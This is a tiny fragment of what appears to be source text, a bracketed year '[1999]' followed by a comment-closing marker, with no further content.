[1999]*/